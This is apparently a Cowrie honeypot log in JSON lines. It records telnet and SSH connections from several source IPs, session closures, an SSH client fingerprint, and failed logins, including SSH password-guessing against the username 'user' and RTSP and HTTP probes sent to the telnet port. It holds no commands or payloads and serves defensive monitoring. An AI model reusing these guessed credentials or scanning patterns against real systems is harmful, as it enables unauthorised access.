{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64472,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0c4763eef7b","protocol":"telnet","message":"New connection: 34.38.9.57:64472 (159.203.135.109:23) [session: a0c4763eef7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:10.586954Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64478,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a538241acb0","protocol":"telnet","message":"New connection: 34.38.9.57:64478 (159.203.135.109:23) [session: 0a538241acb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:10.743246Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:10.757332Z","src_ip":"34.38.9.57","session":"0a538241acb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64482,"dst_ip":"159.203.135.109","dst_port":23,"session":"62744a60004b","protocol":"telnet","message":"New connection: 34.38.9.57:64482 (159.203.135.109:23) [session: 62744a60004b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:10.919391Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64486,"dst_ip":"159.203.135.109","dst_port":23,"session":"daa65f75c317","protocol":"telnet","message":"New connection: 34.38.9.57:64486 (159.203.135.109:23) [session: daa65f75c317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:11.096707Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64498,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b051adaafe2","protocol":"telnet","message":"New connection: 34.38.9.57:64498 (159.203.135.109:23) [session: 7b051adaafe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:11.254303Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64512,"dst_ip":"159.203.135.109","dst_port":23,"session":"f876b9fd666c","protocol":"telnet","message":"New connection: 34.38.9.57:64512 (159.203.135.109:23) [session: f876b9fd666c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:11.409124Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64514,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee26842aedba","protocol":"telnet","message":"New connection: 34.38.9.57:64514 (159.203.135.109:23) [session: ee26842aedba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:11.567324Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64520,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3ea6d0e64c1","protocol":"telnet","message":"New connection: 34.38.9.57:64520 (159.203.135.109:23) [session: d3ea6d0e64c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:11.723761Z"}
{"eventid":"cowrie.session.closed","duration":0.0072383880615234375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:11.730868Z","src_ip":"34.38.9.57","session":"d3ea6d0e64c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":43784,"dst_ip":"159.203.135.109","dst_port":23,"session":"b146b5762006","protocol":"telnet","message":"New connection: 34.38.9.57:43784 (159.203.135.109:23) [session: b146b5762006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:11.881247Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":43788,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a58d6ae6792","protocol":"telnet","message":"New connection: 34.38.9.57:43788 (159.203.135.109:23) [session: 2a58d6ae6792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:12.039792Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 5059","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 5059] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:12.046566Z","src_ip":"34.38.9.57","session":"2a58d6ae6792","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.9797887802124,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:15.411137Z","src_ip":"104.245.105.2","session":"3734f5d3de85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.783039569854736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:20.305168Z","src_ip":"104.245.105.2","session":"53f09ce865e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.040182828903198,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.079832Z","src_ip":"34.38.9.57","session":"2a58d6ae6792","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.20428729057312,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.085379Z","src_ip":"34.38.9.57","session":"b146b5762006","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.680427074432373,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.089400Z","src_ip":"34.38.9.57","session":"f876b9fd666c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.525981426239014,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.093175Z","src_ip":"34.38.9.57","session":"ee26842aedba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.844011068344116,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.098182Z","src_ip":"34.38.9.57","session":"7b051adaafe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.182472944259644,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.101724Z","src_ip":"34.38.9.57","session":"62744a60004b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.008562088012695,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.104980Z","src_ip":"34.38.9.57","session":"daa65f75c317","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.365520000457764,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.108604Z","src_ip":"34.38.9.57","session":"0a538241acb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.53143310546875,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.118235Z","src_ip":"34.38.9.57","session":"a0c4763eef7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.691961765289307,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.122167Z","src_ip":"34.38.9.57","session":"299b4060967f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.170085430145264,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.125386Z","src_ip":"34.38.9.57","session":"e1805d26ec01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.01505446434021,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.129138Z","src_ip":"34.38.9.57","session":"644579c0a010","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.49774980545044,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.133832Z","src_ip":"34.38.9.57","session":"78a7161969ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.868206024169922,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.137657Z","src_ip":"34.38.9.57","session":"54fc20dc607a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.6613130569458,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.141265Z","src_ip":"34.38.9.57","session":"dee87ac70557","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.348201751708984,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.144922Z","src_ip":"34.38.9.57","session":"7741f65e1bb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.982845306396484,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.148497Z","src_ip":"34.38.9.57","session":"4e2b617384fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.40079927444458,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.152045Z","src_ip":"34.38.9.57","session":"516a0f4901ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.24146056175232,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.155753Z","src_ip":"34.38.9.57","session":"7b0f7cb60afb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.56220531463623,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.159215Z","src_ip":"34.38.9.57","session":"9743f4615115","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.724282026290894,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.162623Z","src_ip":"34.38.9.57","session":"67bca3513c14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.89783525466919,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.180291Z","src_ip":"34.38.9.57","session":"db56640078fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.056806802749634,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.184018Z","src_ip":"34.38.9.57","session":"548a8a1b6edb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.2279052734375,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:25.198764Z","src_ip":"34.38.9.57","session":"e2ac182db06f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.148.200.68","src_port":43004,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7cb76c67522","protocol":"telnet","message":"New connection: 187.148.200.68:43004 (10.17.0.5:23) [session: f7cb76c67522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:29.571352Z"}
{"eventid":"cowrie.session.closed","duration":31.69231367111206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:36.193194Z","src_ip":"104.245.105.2","session":"6140ec046a3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41624,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2d07130fbaf","protocol":"telnet","message":"New connection: 104.245.105.2:41624 (10.17.0.5:23) [session: c2d07130fbaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:59.808073Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41640,"dst_ip":"10.17.0.5","dst_port":23,"session":"1378bbd4a23d","protocol":"telnet","message":"New connection: 104.245.105.2:41640 (10.17.0.5:23) [session: 1378bbd4a23d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:41:03.640124Z"}
{"eventid":"cowrie.session.closed","duration":33.16344618797302,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:41:32.971395Z","src_ip":"104.245.105.2","session":"c2d07130fbaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.697431325912476,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:41:46.337471Z","src_ip":"104.245.105.2","session":"1378bbd4a23d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50778,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ccb6d8087c3","protocol":"telnet","message":"New connection: 104.245.105.2:50778 (10.17.0.5:23) [session: 7ccb6d8087c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:41:58.036885Z"}
{"eventid":"cowrie.session.closed","duration":120.0025086402893,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:42:29.573732Z","src_ip":"187.148.200.68","session":"f7cb76c67522","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46364,"dst_ip":"10.17.0.5","dst_port":23,"session":"13c84cfd40ed","protocol":"telnet","message":"New connection: 104.245.105.2:46364 (10.17.0.5:23) [session: 13c84cfd40ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:42:30.840533Z"}
{"eventid":"cowrie.session.closed","duration":38.07497954368591,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:42:36.111775Z","src_ip":"104.245.105.2","session":"7ccb6d8087c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":48023,"dst_ip":"10.17.0.5","dst_port":22,"session":"65966b661249","protocol":"ssh","message":"New connection: 2.57.121.25:48023 (10.17.0.5:22) [session: 65966b661249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:00.906340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:00.911164Z","src_ip":"2.57.121.25","session":"65966b661249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:01.010157Z","src_ip":"2.57.121.25","session":"65966b661249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"427900","message":"login attempt [user/427900] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:01.511437Z","src_ip":"2.57.121.25","session":"65966b661249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.649285554885864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:02.489666Z","src_ip":"104.245.105.2","session":"13c84cfd40ed","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"3465xxx","message":"login attempt [user/3465xxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:02.618653Z","src_ip":"2.57.121.25","session":"65966b661249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"32165498","message":"login attempt [user/32165498] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:03.720414Z","src_ip":"2.57.121.25","session":"65966b661249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"31101975","message":"login attempt [user/31101975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:04.822554Z","src_ip":"2.57.121.25","session":"65966b661249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"310888","message":"login attempt [user/310888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:05.924050Z","src_ip":"2.57.121.25","session":"65966b661249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:07.025388Z","src_ip":"2.57.121.25","session":"65966b661249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":62144,"dst_ip":"10.17.0.5","dst_port":23,"session":"3934c30330b2","protocol":"telnet","message":"New connection: 34.78.96.14:62144 (10.17.0.5:23) [session: 3934c30330b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:20.401936Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":62160,"dst_ip":"10.17.0.5","dst_port":23,"session":"e42801e552f9","protocol":"telnet","message":"New connection: 34.78.96.14:62160 (10.17.0.5:23) [session: e42801e552f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:20.558027Z"}
{"eventid":"cowrie.session.closed","duration":0.0051403045654296875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:20.563062Z","src_ip":"34.78.96.14","session":"e42801e552f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":62174,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7d14594ab32","protocol":"telnet","message":"New connection: 34.78.96.14:62174 (10.17.0.5:23) [session: b7d14594ab32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:20.712276Z"}
{"eventid":"cowrie.session.closed","duration":3.7271370887756348,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:24.128942Z","src_ip":"34.78.96.14","session":"3934c30330b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":49278,"dst_ip":"10.17.0.5","dst_port":23,"session":"38533e6ac4e0","protocol":"telnet","message":"New connection: 34.78.96.14:49278 (10.17.0.5:23) [session: 38533e6ac4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:39.868201Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:39.874201Z","src_ip":"34.78.96.14","session":"38533e6ac4e0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:39.877841Z","src_ip":"34.78.96.14","session":"38533e6ac4e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08887124061584473,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:39.956911Z","src_ip":"34.78.96.14","session":"38533e6ac4e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":49290,"dst_ip":"10.17.0.5","dst_port":23,"session":"25fdaa1f5264","protocol":"telnet","message":"New connection: 34.78.96.14:49290 (10.17.0.5:23) [session: 25fdaa1f5264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:40.030995Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":49304,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd2f3c6b2d9c","protocol":"telnet","message":"New connection: 34.78.96.14:49304 (10.17.0.5:23) [session: cd2f3c6b2d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:40.185277Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":49314,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b8cb771cd16","protocol":"telnet","message":"New connection: 34.78.96.14:49314 (10.17.0.5:23) [session: 1b8cb771cd16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:40.339389Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":49326,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8130c6d9cc6","protocol":"telnet","message":"New connection: 34.78.96.14:49326 (10.17.0.5:23) [session: a8130c6d9cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:40.494949Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":49328,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7f7d60b76d0","protocol":"telnet","message":"New connection: 34.78.96.14:49328 (10.17.0.5:23) [session: f7f7d60b76d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:40.650711Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31410,"dst_ip":"10.17.0.5","dst_port":23,"session":"c33511a0f1e7","protocol":"telnet","message":"New connection: 34.78.96.14:31410 (10.17.0.5:23) [session: c33511a0f1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:40.805321Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31420,"dst_ip":"10.17.0.5","dst_port":23,"session":"312085212f89","protocol":"telnet","message":"New connection: 34.78.96.14:31420 (10.17.0.5:23) [session: 312085212f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:40.958847Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31428,"dst_ip":"10.17.0.5","dst_port":23,"session":"784d21b7f814","protocol":"telnet","message":"New connection: 34.78.96.14:31428 (10.17.0.5:23) [session: 784d21b7f814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:41.113312Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31440,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5fe5bd97d1e","protocol":"telnet","message":"New connection: 34.78.96.14:31440 (10.17.0.5:23) [session: b5fe5bd97d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:41.268318Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31456,"dst_ip":"10.17.0.5","dst_port":23,"session":"de08408b2dce","protocol":"telnet","message":"New connection: 34.78.96.14:31456 (10.17.0.5:23) [session: de08408b2dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:41.497175Z"}
